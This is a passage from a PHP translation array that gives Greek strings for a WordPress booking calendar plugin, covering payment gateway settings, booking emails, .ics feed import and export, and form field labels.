στη σελίδα διαχείρισης κρατήσεων.','URL of page for customer bookings listing'=>'Διεύθυνση ιστοσελίδας για λίστα κρατήσεων πελατών','Do not show payment form, after submit booking form'=>'Να μην εμφανίζεται η φόρμα πληρωμής, μετά την υποβολή φόρμας κράτησης','Auto send payment request after creation booking in admin panel'=>'Αυτόματη αποστολή αίτησης πληρωμής μετά τη δημιουργία κράτησης στη σελίδα διαχειριστή','Please note, at admin panel for booking will be saved deposit cost and notes about deposit, do not depend from the visitor choice of this payment. You need to check each such payment manually!'=>'Παρακαλώ σημειώστε, στη σελίδα διαχειριστή για την κράτηση θα αποθηκευτεί το κόστος κατάθεσης και σημειώσεις σχετικά με την κατάθεση, δεν εξαρτάται από την επιλογή του επισκέπτη για την πληρωμή. Θα πρέπει να ελέγξετε κάθε τέτοια πληρωμή χειροκίνητα!','Send email on cost changes'=>'Στείλτε Email με τις αλλαγές του κόστους','Check this box if you want to send booking modification email, if cost of booking was edited in booking listing page.'=>'Ενεργοποιήστε αυτό το πλαίσιο αν επιθυμείτε την αποστολή Email τροποποίησης της κράτησης, εάν το κόστος της κράτησης έχει επεξεργαστεί στη σελίδα διαχείρισης κρατήσεων.','Payment Options'=>'Επιλογές πληρωμής','Type URL for %svisitors%s to view own bookings. You must insert %s shortcode into this page.'=>'Εισάγετε διεύθυνση ιστοσελίδας για %sεπισκέπτες%s για διαμόρφωση κρατήσεων. Πρέπει να εισάγετε τον %s σύντομο κώδικα σε αυτήν την σελίδα.','Check this box if you want to show payment form only after sending payment request by email'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να εμφανίζεται η φόρμα πληρωμής, μόνο αφού σταλεί αίτηση πληρωμής με Email','Check this box if you want automatically send payment request to visitor, if booking was made in admin panel'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να στέλνεται αυτοματοποιημένη εντολή πληρωμής στον επισκέπτη, εάν η κράτηση έγινε στον πίνακα διαχειριστή','Show deposit and total booking cost together'=>'Δείξε προκαταβολή και συνολικό κόστος κράτησης μαζί','Check this box if you want to show deposit amount and total booking cost, after submit of booking.'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να φαίνεται το ποσό της κατάθεσης προκαταβολής και το συνολικό κόστος, μετά την καταχώρηση της κράτησης.','if selected %s'=>'Αν επιλεγεί %s','Copy(ies)'=>'Αντίγραφο/α','Enable / disable sending email(s) to additional addresses'=>'Ενεργοποίηση / απενεργοποίηση αποστολής Email σε επιπλέον διευθύνσεις','You can put multiple emails separated by'=>'Μπορείτε να χρησιμοποιείτε αρκετές τιμές διαχωρίζοντας τις τιμές με κόμμα','Email Address will be used in the FROM field of response to Visitor.'=>'Η διεύθυνση Email θα χρησιμοποιηθεί στο ΑΠΟ πεδίο της απάντησης στον επισκέπτη.','Customization of email template, which is sent to Visitor after approval of booking'=>'Διαμόρφωση προτύπου Email, το οποίο στάλθηκε στον επισκέπτη μετά την έγκριση της κράτησης','Email is sent to Visitor after Approval of booking.'=>'Προσαρμογή στο πρότυπο Email, το οποίο στέλνει στον επισκέπτη μετά την έγκριση της κράτησης.','Customization of email template, which is sent to Visitor after Cancellation of booking'=>'Διαμόρφωση προτύπου Email, το οποίο στάλθηκε στον επισκέπτη μετά την ακύρωση της κράτησης','Email is sent to Visitor after Deleting of booking.'=>'Προσαρμογή στο πρότυπο Email, το οποίο στέλνει στον επισκέπτη μετά την ακύρωση της κράτησης.','Customization of email template, which is sent to Visitor, when booking status is set to Pending'=>'Διαμόρφωση προτύπου Email, το οποίο στάλθηκε στον επισκέπτη, αφού η κράτηση ορίστηκε σε αναμονή','Email is sent to Visitor after booking set as Pending.'=>'Email στο "Πρόσωπο" μετά την έγκριση της κράτησης.','Configure ULR feed(s) at this settings page.'=>'Ρύθμιση παραμέτρων διεύθυνσης ιστοσελίδων σε αυτήν τη σελίδα ρυθμίσεων.','Booking Admin Panel'=>'Ρυθμίσεις διαχειριστή κρατήσεων','%s - ID of booking resource, '=>'%s - ID πηγής κράτησης, ','%s - ID of page with booking form, '=>'%s - Κωδικός σελίδας με τη φόρμα κρατήσεων, ','Check the box, if you want to use simple booking form customization from Free plugin version at Settings - Form page.'=>'Τσεκάρετε αν θέλετε να χρησιμοποιήσετε απλή προσαρμογή της μορφής κράτησης από την ελεύθερη έκδοση του plugin στις ρυθμίσεις - φόρμα.','Chose payment account'=>'Επιλέξτε λογαριασμό πληρωμής','Publishable key'=>'Πλήκτρο δημοσίευσης','Secret key'=>'Μυστικό κλειδί','For more information:'=>'Για περισσότερες πληροφορίες:','require PHP version %s or newer!'=>'απαιτεί PHP έκδοση %s ή νεότερη!','Simple'=>'Απλή','Show / hide menu'=>'Εμφάνιση / απόκρυψη μενού','View'=>'Δείτε','Form under calendar'=>'Φόρμα κάτω απο ημερολόγιο','Form at right side of calendar'=>'Φόρμα στη δεξιά πλευρά του ημερολογίου','Form and calendar are centered'=>'Φόρμα και ημερολόγιο είναι κεντραρισμένα','Visit these (previously configured URL feeds) pages for downloading .ics files.'=>'Επισκεφθείτε αυτές τις σελίδες για τη λήψη αρχείων .ics.','%s - inserting modification date of booking '=>'%s - εισάγοντας τις ημερομηνίες κράτηση ','Show system debugging log for beta features'=>'Εμφάνιση αρχείου σφαλμάτων συστήματος για δοκιμαστικά χαρακτηριστικά','Activate this option only for testing beta features'=>'Ενεργοποίησε αυτή την επιλογή μόνο για έλεγχο δοκιμαστικών χαρακτηριστικών','feed'=>'τροφοδοσία','This feature require %s plugin. You can install %s plugin from this %spage%s.'=>'Αυτή η δυνατότητα απαιτεί την %s πρόσθετο. Μπορείτε να εγκαταστήσετε το %s πρόσθετο από αυτή τη %sσελίδα %s.','How it works'=>'Πώς λειτουργεί','.ics feed URL'=>'Διεύθυνση ιστοσελίδας τροφοδότησης .ics','Open in new window'=>'Ανοίξτε σε νέο παράθυρο','Please enter URL for generating .ics feed'=>'Παρακαλώ εισάγετε διεύθυνση ιστοσελίδας για παραγωγή .ics','This .ics feed of bookings starting from today for 1 year'=>'Αυτό to .ics των κρατήσεων που ξεκινούν από σήμερα για 1 έτος','Enter URL to .ics feed'=>'Εισάγετε διεύθυνση ιστοσελίδας για παραγωγή .ics','Choose file'=>'Επιλέξτε αρχείο','Insert file URL'=>'Εισαγωγή αρχείου διεύθυνσης ιστοσελίδας','and any other calendar that uses .ics format'=>'και οποιοδήποτε άλλο ημερολόγιο που χρησιμοποιεί μορφή .ics','.ics - is a file format of iCalendar standard for exchanging calendar and scheduling information between different sources %s Using a common calendar format (.ics), you can keep all your calendars updated and synchronized.'=>'.ics - είναι μια μορφή αρχείου iCalendar για την ανταλλαγή πληροφοριών ημερολογίου και προγραμματισμού μεταξύ διαφορετικών προελεύσεων %s Xρησιμοποιώντας μια κοινή μορφή ημερολογίου (.ics), μπορείτε να διατηρήσετε όλα τα ημερολόγιά σας ενημερωμένα και συγχρονισμένα.','How to start import of .ics feeds (files)?'=>'Πώς να ξεκινήσετε την εισαγωγή των αρχείων .ics?','Install %s plugin.'=>'Εγκατάσταση %s πρόσθετου.','Insert %s shortcode into some post(s) or page(s). Check more info about this %sshortcode configuration%s'=>'Εισαγωγή του %s κώδικα σε ορισμένες δημοσιεύσεις ή σελίδες. Περισσότερες πληροφορίες σχετικά με αυτήν τη %sρύθμιση παραμέτρων κώδικα %s','Using such shortcodes in pages give a great flexibility to import from different .ics feeds (sources) into the same resource.%sAlso its possible to define different CRON parameters for accessing such different pages with different time intervals.'=>'Η χρήση τέτοιων κωδικών σε σελίδες δίνει μια μεγάλη ευελιξία στην εισαγωγή από διαφορετικά αρχεία .ics (πηγές) στον ίδιο πόρο. %sΕπίσης είναι δυνατόν να καθορίσετε διαφορετικές παραμέτρους CRON για την πρόσβαση σε τόσο διαφορετικές σελίδες με διαφορετικά χρονικά διαστήματα.','Or you can import .ics feed or file directly at current page.'=>'Ή μπορείτε να εισαγάγετε τo .ics αρχείο απευθείας στην τρέχουσα σελίδα.','If you have inserted import shortcodes from %s, then you can configure your CRON for periodically access these pages and import .ics feeds.'=>'Εάν έχετε εισαγάγει κωδικούς εισαγωγής από %s, τότε μπορείτε να διαμορφώσετε το CRON σας για να έχετε περιοδική πρόσβαση σε αυτές τις σελίδες και τις να εισάγετε .ics.','How to start export of .ics feeds (files)?'=>'Πώς να ξεκινήσετε την εξαγωγή των αρχείων .ics?','Using such URL(s) you can import .ics feeds, from interface of other websites. %sCheck more info about how to import .ics feeds into other websites at the support pages of sepcific website.'=>'Χρησιμοποιώντας αυτές τις διευθύνσεις ιστοσελίδας μπορείτε να εισάγετε .ics, από τη διασύνδεση άλλων ιστοσελίδων. %s Ελέγξτε περισσότερες πληροφορίες σχετικά με τον τρόπο εισαγωγής των .ics σε άλλες ιστοσελίδες στις σελίδες υποστήριξης της συγκεκριμένης ιστοσελίδας.','.ics Feed URL'=>'Διεύθυνση ιστοσελίδας τροφοδότησης .ics','Its useful, if you need to import/export bookings from/to external websites, like %s'=>'Είναι χρήσιμο, αν χρειαστεί να εισάγετε/εξάγετε κρατήσεις από/προς εξωτερικές ιστοσελίδες, όπως %s','What does .ics feeds import/export mean?'=>'Τι σημαίνει η εισαγωγή/εξαγωγή .ics;','feeds'=>'Ροές','Upload / Select '=>'Μεταφόρτωση / Επιλογή','Add to Google Calendar'=>'Προσθήκη στο ημερολόγιο Google','%s - inserting link for export booking to'=>'%s - εισάγοντας μέτρια σύνδεση της νέας κράτησης','Nothing Found'=>'Δε βρέθηκε τίποτα','Shuffle'=>'Shuffle','Flex'=>'Flex','Discount'=>'Έκπτωση','Titles'=>'Τίτλοι','Premium'=>'Premium','Payment rejected'=>'Η πληρωμή απορρίφθηκε','Israeli Shekel'=>'Νόμισμα Ισραήλ (Shekel)','DEFERRED'=>'ΑΝΑΒΑΛΛΟΜΕΝΗ','PAYMENT'=>'ΠΛΗΡΩΜΗ','This can be DEFERRED or AUTHENTICATED if your Sage Pay account supports those payment types'=>'Αυτό μπορεί να είναι ΑΝΑΒΑΛΛΟΜΕΝΗ ή ΕΠΙΚΥΡΩΜΕΝΗ εάν ο Sage Pay λογαριασμός υποστηρίζει αυτούς τους τύπους πληρωμής','LIVE'=>'LIVE','Select TEST for the Test Server and LIVE in the live environment'=>'Επιλέξτε ΔΟΜΙΚΗ για τον δοκιμαστικό Server και ΖΩΝΤΑΝΑ σε πραγματικό περιβάλλον','Set this value to the XOR Encryption password assigned to you by Sage Pay'=>'Ορίστε αυτή την τιμή στο XOR κρυπτογράφηση κωδικού για να ανατεθεί σε σας από Sage Pay','TEST'=>'ΔΟΚΙΜΗ','Use SSL connection'=>'Χρησιμοποίηστε SSL σύνδεση','Sending email if error occur during verification'=>'Αποστολή e-mail σε περίπτωση σφάλματος κατά τη διάρκεια της επαλήθευσης','Sending email for verified transaction'=>'Αποστολή e-mail για επαλήθευση συναλλαγής','For the Return URL, enter the Return URL from PayPal on your site for successfull payment.'=>'Για το URL επιστροφής, πληκτρολογήστε το URL Επιστροφής από το PayPal στην ιστοσελίδα σας για την επιτυχής πληρωμής.','Under Auto Return for Website Payments, click the On radio button.'=>'Κάτω από την Αυτόματη Επιστροφή για την Ιστοσελίδα Πληρωμής, κλικ στο κουμπί.','Click Website Payment Preferences in the Seller Preferences column.'=>'Κάντε κλικ στην Ιστοσελίδα προτιμήσεις πληρωμής στη στήλη Προτιμήσεις πωλητή.','Click the Profile subtab.'=>'Κλικ το προφίλ στην καρτέλα εσωτερικά.','Log in to your PayPal account.'=>'Είσοδος στο PayPal λογαριασμό σας.','Follow these steps to configure it:'=>'Ακολουθήστε αυτά τα βήματα για να το ρυθμίσετε:','Japanese Yen'=>'Ιαπωνικό Yen','British Pound'=>'Λίρα Αγγλίας','Mexican Peso'=>'Νόμισμα Μεξικού (Peso)','Israeli New Shekel'=>'Νόμισμα Ισραήλ (New Shekel)','Czech Koruna'=>'Νόμισμα Τσεχίας (Koruna)','Hungarian Forint'=>'Νόμισμα Ουγγαρίας(Forint)','Norwegian Krone'=>'Νόμισμα Νορβηγίας (Krone)','Polish Zloty'=>'Νόμισμα Πολωνίας (Zloty)','Danish Krone'=>'Νόμισμα Δανίας (Krone)','Swedish Krona'=>'Νόμισμα Σουηδίας (Krona)','Singapore Dollar'=>'Δολάριο Σιγκαπούρης (Dollar)','Hong Kong Dollar'=>'Δολάριο Hong Kong (Dollar)','Swiss Franc'=>'Φράνκο Ελβετίας','New Zealand Dollar'=>'Δολάριο Νέας Ζηλανδίας','Australian Dollars'=>'Δολάριο Αυστραλίας','default value, if no dates are selected, or none exist conditions are true.'=>'επιλεγμένες τιμές, εάν δεν έχουν επιλεγεί ημερομηνίες, ή δεν υπάρχουν συνθήκες είναι true.','You can use the several values, separated by comma.'=>'Μπορείτε να χρησιμοποιείτε αρκετές τιμές διαχωρίζοντας τις τιμές με κόμμα.','Season filters conditions.'=>'Φίλτρα σεζόν με συνθήκες.','Season filter on the Season Filters page,'=>'Φίλτρο σεζόν στην σελίδα Φίλτρα σεζόν,','Season filter on the Season Filters page'=>'Φίλτρο σεζόν στην σελίδα Φίλτρα σεζόν','Additional info'=>'Επιπρόσθετες πληροφορίες','Please use %sSingle day%s selection mode in the General Booking Settings page at calendar section.'=>'Παρακαλώ χρησιμοποιήστε %sΑπλή μέρα%s κατάσταση επιλογής μέσα στην σελίδα ρυθμίσεις γενικών κρατήσεων ημερολόγιου.','Please check more about this feature at %sthis page%s'=>'Παρακαλώ ελέγξτε περισσότερα σχετικά με αυτή την λειτουργία σε %sαυτή την σελίδα%s','Time Field'=>'Πεδίο Χρόνου','This field does not impact to availability (booking for the specific time) .'=>'Το πεδίο αυτό δεν επηρεάζει τη διαθεσιμότητα (κρατήσεις για το συγκεκριμένο χρονικό διάστημα).','The value of this field is just saved into DB.'=>'Η τιμή αυτού του πεδίου μόλις αποθηκεύτηκε στην βάση δεδομένων.','Country List'=>'Λίστα Χωρών','Select the country from the predefined country list.'=>'Επιλέξτε τη χώρα από τη λίστα προκαθορισμένων.','You can customize the country list at this file: %s'=>'Μπορείτε να προσαρμόσετε τη λίστα των χωρών σε αυτό το αρχείο: %s','You can insert this field with default selected value.'=>'Μπορείτε να εισαγάγετε αυτό το πεδίο με προεπιλεγμένη τιμή.','Example: %s - %s"United States"%s is selected by default.'=>'Παράδειγμα: %s - %s"United States"%s είναι προεπιλεγμένη τιμή.','Language Sections'=>'Ενότητα γλωσσών','Plugin support configurations of the booking form are available in different languages.'=>'Το Plugin υποστήριξη φόρμα κράτησης είναι διαθέσιμο σε διαφορετικές γλώσσες.','The active language of the booking form depends on the active locale of the site.'=>'Η ενεργή γλώσσα της φόρμας κράτησης εξαρτάται από την τρέχουσα τοποθεσία.','Booking Calendar supports WPML and qTranslate plugins for dynamic changing of website locale.'=>'Το Booking Calendar υποστηρίζει WPML και qTranslate plugins για δυναμική αλλαγή της τοπικής ρύθμισης ιστοσελίδας.','Usage'=>'Χρήση','English and French translation'=>'Αγγλική και Γαλλική μετάφραση','of configuration booking form in English and French languages'=>'διαμόρφωσης φόρμα κράτησης στην αγγλική και τη γαλλική γλώσσα','This feature provides the possibility to show the different form fields or any other HTML content in the booking form, depending on the selection of specific week day in calendar or different days, which are assigned to the specific season filters'=>'Το χαρακτηριστικό αυτό παρέχει τη δυνατότητα να δείξει τα διαφορετικά πεδία της φόρμας ή οποιοδήποτε άλλο περιεχόμενο HTML στη φόρμα κράτησης, ανάλογα με την επιλογή της συγκεκριμένης ημέρας την εβδομάδα στο ημερολόγιο ή διαφορετικές ημέρες, στις οποίες έχουν αποδοθεί στις ειδικές φίλτρα σεζόν','%svalue%s – value of the specific conditions. If the value is true, so then the content of the conditions will show in the booking form. You can have the default value (empty – "", or like this – "*") for showing the content of this condition, if all other conditions are FALSE, or at initial stage, when the date in calendar is not yet selected.'=>'%sτιμή%s – τιμή για συγκεκριμένη συνθήκη. Αν η τιμή είναι TRUE, τότε το περιεχόμενο από την συνθήκη θα εμφανιστεί στην φόρμα κράτησης. Μπορείτε να έχετε την προεπιλεγμένη τιμή (κενό – "", ή όπως αυτό – "*") για την εμφάνιση του περιεχομένου αυτής της συνθήκης, εάν οι υπόλοιπες συνθήκες είναι FALSE, ή στην αρχική κατάσταση, όταν η ημερομηνία στο ημερολόγιο δεν έχει επιλεγεί μέχρι στιγμής.','You can use several values, separated by comma.'=>'Μπορείτε να χρησιμοποιήσετε πολλές τιμές βάζοντας κόμμα.','You can use several values, separated by a comma.'=>'Μπορείτε να χρησιμοποιήσετε πολλές τιμές βάζοντας κόμμα.','This field is visible only in Admin Panel at %sAdd booking page%s.'=>'Αυτό το πεδίο είναι ορατό μόνο στο πάνελ του διαχειριστή στην %sΠροσθήκη σελίδα κράτησης%s.','Use this field for %scorrecting the cost%s during adding new booking.'=>'Χρησιμοποιήστε αυτό το πεδίο για %sδιόρθωση του κόστους%s κατά την διάρκεια εισαγωγής νέας κράτησης.','Please use this field for possibility to use coupon discounts by your visitors.'=>'Παρακαλώ χρησιμοποιήστε αυτό το πεδίο για τη δυνατότητα να μπορούν οι επισκέπτες να χρησιμοποιούν τις εκπτώσεις με το κουπόνι.','You can configure the discount coupon codes at this %spage%s.'=>'Μπορείτε να τροποποιείτε τους κωδικούς των εκπτωτικών κουπονιών σε αυτή την %sσελίδα%s.','Hints for your form'=>'Συμβουλές για τη φόρμα σας','Insert these shortcodes into form to %sshow info in real time %s(after selection of the dates in calendar or options in checkboxes or selectboxes)%s.'=>'Τοποθετήστε αυτούς τους σύντομους κωδικούς σε φόρμα για να %sπαρουσιάζουν πληροφορίες σε πραγματικό χρόνο %s(μετά την επιλογή των ημερομηνιών του ημερολογίου ή τις επιλογές σε πλαίσια ελέγχου)%s.','Dates and Times Hints'=>'Ημερομηνίες και ώρες','Selected Check In date.'=>'Επιλέξτε ημερομηνία Check In.','Example:'=>'Παράδειγμα:','Selected Check Out date.'=>'Επιλέξτε ημερομηνία Check Out.','Selected Start Time.'=>'Επιλέξτε Ώρα Έναρξης.','Dear %sPay in cash %s for your booking %s on check in %sFor reference your booking ID: %s'=>'Παρακαλώ %sΠληρωμή με μετρητά %s για την κράτησή σας %s στο check in %sΓια την αναφορά ID της κράτησης: %s','Pay in Cash'=>'Πληρωμή με μετρητά','State'=>'Πόλη','Post Code'=>'Ταχυδρομικός κωδικός','Billing City'=>'Πόλη χρέωσης','Billing Address'=>'Διεύθυνση χρέωσης','Last name'=>'Επώνυμο','First Name(s)'=>'Όνομα','Customer Email'=>'Email πελάτη','Selected End Time.'=>'Επιλέξτε Ώρα Λήξης.','All selected dates in "short" format.'=>'Όλες οι επιλεγμένες ημερομηνίες σε "short" μορφή.','All selected dates with times in "short" format..'=>'Όλες οι επιλεγμένες ημερομηνίες με τις ώρες σε "short" μορφή..','Number of selected days.'=>'Αριθμός επιλεγμένων ημερών.','Number of selected nights.'=>'Αριθμός επιλεγμένων νυχτών.','Tips and Tricks'=>'Συμβουλές και Κόλπα','%sEmail verification field%s.'=>'%sΠεδίο επαλήθευσης Email%s.','%sDescription of usage%s.'=>'%sΠεριγραφή της χρήσης%s.','To create verification email, you need to use special CSS class in other email field. This CSS class must start with this reserved words: %s and then have to go the name of your primary email field: %s'=>'Για να δημιουργήσετε μήνυμα ηλεκτρονικού ταχυδρομείου επαλήθευσης, θα πρέπει να χρησιμοποιήσετε ειδική κατηγορία CSS σε άλλο πεδίο e-mail. Αυτή η κατηγορία CSS πρέπει να ξεκινήσει με αυτές τις δεσμευμένες λέξεις: %s και στη συνέχεια πρέπει να πάτε το όνομα του πρωτογενούς τομέα στο e-mail σας: %s','confirmation email field of the primary email field'=>'επιβεβαίωση e-mail πεδίο του πρωτογενούς τομέα ηλεκτρονικού ταχυδρομείου','Generate Tag'=>'Δημιουργία ετικέτας','Select option to configure or show help info about tags'=>'Επιλέξτε την επιλογή για να ρυθμίσετε ή να εμφανίζουν πληροφορίες για βοήθεια σχετικά με τις ετικέτες','Thousands separator'=>'Διαχωριστικό χιλιάδας','Comma'=>'Κόμμα','Space'=>'Κενό','No separator'=>'Χωρίς διαχωριστή','Number of decimal points'=>'Αριθμός δεκαδικών ψηφίων','Currency format'=>'Μορφή νομίσματος','Check this box if you want that specific additional cost, which configured as percentage for some option, apply to other additional fixed costs and not only to original booking cost.'=>'Επιλέξτε αυτό το πλαίσιο αν θέλετε το συγκεκριμένο κόστος, το οποίο έχει οριστεί με ποσοστό για κάποιες επιλογές, να εφαρμοστεί και σε άλλα επιπρόσθετα σταθερά κόστη και όχι μόνο για το αρχικό κόστος.',' Select your cost configuration.'=>' Επιλέξτε τη διαμόρφωση του κόστους σας.','Set the cost'=>'Ορίστε το κόστος','for 1 hour'=>'για μία ώρα','Print bookings listing'=>'Εκτύπωση λίστας κρατήσεων','Export'=>'Εξαγωγή','Export All bookings to CSV format'=>'Εξαγωγή όλων των κρατήσεων σε μορφή CSV','Save'=>'Αποθήκευση','Change'=>'Αλλαγή','Print bookings'=>'Εκτύπωση κρατήσεων','The booking was canceled by the visitor.'=>'Η κράτηση ακυρώθηκε από τον επισκέπτη.','The booking has been canceled successfully'=>'Η κράτηση έχει ακυρωθεί με επιτυχία','Incorrect date format'=>'Εσφαλμένη μορφή ημερομηνίας','Change your Booking'=>'Αλλάξτε την κράτησή σας','Cancel Booking'=>'Ακύρωση Κράτησης','Sending request...'=>'Αποστολή αίτησης...','Order number'=>'Αριθμός παραγγελίας','Register'=>'Εγγραφή','Default form'=>'Προεπιλεγμένη φόρμα','There is a new version of %1$s available. <a href="%2$s" target="_blank" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>'=>'Υπάρχει μία νέα έκδοση από %1$s διαθέσιμη. <a href="%2$s" target="_blank" title="%3$s">View version %4$s details</a>. <em>Δεν είναι διαθέσιμη η αυτόματη ενημέρωση σε αυτό το plugin.</em>','You can request the new update of plugin on %1$sthis page%2$s.'=>'Μπορείτε να αιτηθείτε για νέα ενημέρωση αυτού του plugin %1$sεδώ%2$s.','Upgrade Notice'=>'Ανακοίνωση νέας έκδοσης','Version %s By %s'=>'Έκδοση %s Από %s','View details'=>'Δείτε τις λεπτομέρειες','Last Name (required)'=>'Επώνυμο (απαιτείται)','Email (required)'=>'Email (απαιτείται)','Phone'=>'Τηλέφωνο','Adults'=>'Ενήλικες','I Accept term and conditions'=>'Αποδέχομαι τους όρους και τις προϋποθέσεις','Select Times'=>'Επιλογή ωρών','Address (required)'=>'Διεύθυνση (απαιτείται)','City (required)'=>'Πόλη (απαιτείται)','Post code (required)'=>'Ταχυδρομικός κώδικας (απαιτείται)','Country (required)'=>'Χώρα (απαιτείται)','night(s)'=>'νύχτα(ες)','Full cost of the booking'=>'Πλήρες κόστος της κράτησης','Visitors'=>'Επισκέπτες','First Name'=>'Όνομα','Last Name'=>'Επώνυμο','Email'=>'Email','Address'=>'Διεύθυνση','City'=>'Πόλη','Post code'=>'Τ.Κ','Country'=>'Χώρα','Check in'=>'Check in','Check out'=>'Check out','Guests'=>'Επισκέπτες','API Login ID'=>'API Σύνδεση ID','The merchant API Login ID is provided in the Merchant Interface of %s'=>'Το API ID εισόδου του εμπόρου παρέχεται στο σημείο διασύνδεσης εμπόρου από %s','for 1 night'=>'για μία νύχτα','Integration of iPay88 payment system'=>'Ενσωμάτωση του συστήματος πληρωμών iPay88','Check this box to automatically approve bookings, when visitor makes a successful payment, or automatically cancel the booking, when visitor makes a payment cancellation.'=>'Επιλέξτε αυτό το πλαίσιο για να εγκριθούν αυτόματα οι κρατήσεις, όταν επισκέπτης κάνει μια επιτυχή πληρωμή, ή να ακυρώσει αυτόματα την κράτηση, όταν επισκέπτης κάνει μια ακύρωση πληρωμής.','Automatically approve/cancel booking'=>'Αυτόματη αποδοχή/ακύρωση κράτησης','Philippine Pesos'=>'Νόμισμα Φιλιππίνες (Pesos)','Malaysian Ringgit'=>'Νόμισμα Μαλαισίας','Enter your iPay88 Merchant Key.'=>'Πληκτρολογήστε τον κλειδί εμπόρου iPay88.','Merchant Key'=>'Κλειδί εμπόρου','Merchant Code'=>'Κωδικός Εμπόρου','Connection Error'=>'Σφάλμα σύνδεσης','Payment failed'=>'Η πληρωμή απέτυχε','Amount different'=>'Διαφορά ποσού','Cannot find the record'=>'Το αρχείο δεν υπάρχει',' Parameters are incorrect,'=>' Οι παράμετροι δεν είναι σωστοί,','Successful payment'=>'Επιτυχής πληρωμή','Remove selected account(s)'=>'Διαγραφή επιλεγμένων λογαριασμών','+ Add Account'=>'+ Προσθήκη Λογαριασμού','%s - inserting bank name '=>'%s - εισάγοντας όνομα τράπεζας ','%s - inserting account number'=>'%s - εισάγοντας αριθμό λογαριασμού','%s - inserting account name'=>'%s - εισάγοντας όνομα λογαριασμού','%s - inserting all bank accounts details'=>'%s - εισάγοντας πληροφορίες για όλους τους λογαριασμούς τραπέζης','Branch Code'=>'Κωδικός καταστήματος','Routing Number'=>'Αριθμός δρομολόγησης','Bank Code'=>'Kωδικός Τράπεζας','Branch Sort'=>'Ταξινόμηση καταστημάτων','IFSC'=>'IFSC','BSB'=>'BSB','Bank Name'=>'Όνομα Τράπεζας','Account Name'=>'Όνομα Λογαριασμού','BIC / Swift'=>'BIC / Swift','IBAN'=>'ΙΒΑΝ','Account Number'=>'Αριθμός Λογαριασμού','Sort Code'=>'Σύντομος Κωδικός','Account details'=>'Λεπτομέρειες λογαριασμού','Be sure that the merchant server system clock is set to the proper time and time zone.'=>'Σιγουρευτείτε ότι η ώρα στο σύστημα των εμπόρων, έχει οριστεί ανάλογα με σωστή ώρα (ζώνη ώρας).','This will not work, if the visitor leaves the payment page.'=>'Αυτό δεν θα δουλέψει, αν ο επισκέπτης αφήσει την σελίδα πληρωμής.','Check this box to automatically approve booking, when visitor makes a successful payment.'=>'Επιλέξτε αυτό το πλαίσιο για αυτόματη αποδοχή κράτησης, όταν ο επισκέπτης δημιουργήσει μία επιτυχημένη πληρωμή.','Automatically approve booking'=>'Αυτόματη αποδοχή κράτησης','For example, the URL to your website that displays a %s"Payment Canceled"%s page.'=>'Για παράδειγμα, το URL στην ιστοσελίδα σας στο οποίο εμφανίζει μία σελίδα %s"Πληρωμή ακυρώθηκε"%s.','The URL where the visitor will be redirected after completing payment.'=>'Η διεύθυνση URL, όπου ο επισκέπτης θα μεταφερθεί μετά την ολοκλήρωση της πληρωμής.','Return URL after Failed order'=>'Επιστρέφει το URL μετά από μία αποτυχημένη παραγγελία','For example, a URL to your site that displays a %s"Thank you for the payment"%s.'=>'Για παράδειγμα, ένα URL στην ιστοσελίδα σας το οποίο εμφανίζει ένα %s"Ευχαριστώ για την πληρωμή"%s.','The URL where visitor will be redirected after completing payment.'=>'Η διεύθυνση URL όπου ο επισκέπτης θα μεταφερθεί μετά την ολοκλήρωση της πληρωμής.','Return URL after Successful order'=>'Επιστροφή URL μετά από επιτυχημένη παραγγελία','Indicate to the payment gateway that you would like to receive the transaction response to your site.'=>'Καθορίζει την πύλη πληρωμής που θα θέλατε να λάβετε την απάντηση της συναλλαγής στο site σας.','Activate Relay Response'=>'Ενεργοποίηση εφεδρικής απάντησης','Enter the service name or the reason for the payment here.'=>'Εισάγετε εδώ το όνομα της υπηρεσίας ή τον λόγο πληρωμής.','Enter the title of the payment button'=>'Εισάγετε τον τίτλο του κουμπιού πληρωμής','Payment button title'=>'Τίτλος πληρωμής κουμπιού','Pay via'=>'Πληρωμή μέσο','Setting the currency that is not supported by the payment processor will result in an error.'=>'Ρύθμιση του νομίσματος που δεν υποστηρίζεται από τον επεξεργαστή πληρωμών θα οδηγήσει σε ένα σφάλμα.','The currency code that gateway will process the payment in.'=>'Το νόμισμα που πύλη θα επεξεργαστεί την πληρωμή.','Accepted Currency'=>'Αποδεκτά Νομίσματα','Canadian Dollars'=>'Καναδέζικα Δολάρια','Euros'=>'Ευρώ','Pounds Sterling'=>'Λίρα Στερλίνα','U.S. Dollars'=>'U.S. Δολάρια','Authorization and Capture'=>'Εξουσιοδότηση','Select transaction type, which supported by the payment gateway.'=>'Επιλέξτε το είδος της συναλλαγής, η οποία υποστηρίζεται από την πύλη πληρωμής.','Transaction type'=>'Τύπος συναλλαγής','Live'=>'Live','Live Test'=>'Live Δοκιμή','Developer Test'=>'Δοκιμή προγραμματιστή','This parameter have to assigned to you by %s'=>'Αυτή η παράμετρος πρέπει να ανατεθεί σε σας από %s','Chose payment mode'=>'Επιλέξτε τρόπο πληρωμής','Select "Live test" or "Live" environment for using Merchant account or "Developer Test" for using Developer account.'=>'Επιλογή "Live δοκιμή" ή "Live" περιβάλλον με λογαριασμό εμπόρου ή "Test Προγραμματιστής" Χρησιμοποιώντας λογαριασμό προγραμματιστή.','Transactions posted against live merchant accounts using either of the above testing methods are not submitted to financial institutions for authorization and are not stored in the Merchant Interface.'=>'Συναλλαγές δημοσιευμένες από ενεργούς λογαριασμούς εμπόρων, χρησιμοποιώντας μία από τις παραπάνω μεθόδους δοκιμής δεν υποβάλλονται σε χρηματοπιστωτικά ιδρύματα για τη χορήγηση άδειας και δεν αποθηκεύονται στην εμφάνιση των εμπόρων.','Error IPN'=>'Σφάλμα IPN','Verified IPN'=>'Επαληθεύθηκε IPN','Invalid IPN'=>'Άκυρο IPN','Paypal Standard'=>'Paypal Κανονικό','Paypal Pro Hosted Solution'=>'Λύση Paypal Pro Hosted','This is the Secure Merchant ID, which can be found on the profile page'=>'Αυτό είναι το ID Ασφαλείας Εμπόρου, το οποίο μπορείτε να το βρείτε στην σελίδα προφίλ',' Indicates whether the transaction is payment on a final sale or an authorization for a final sale, to be captured later. '=>' Υποδεικνύει εάν η συναλλαγή είναι η πληρωμή για μια τελική πώληση ή άδεια για μια τελική πώληση, να συλληφθούν αργότερα. 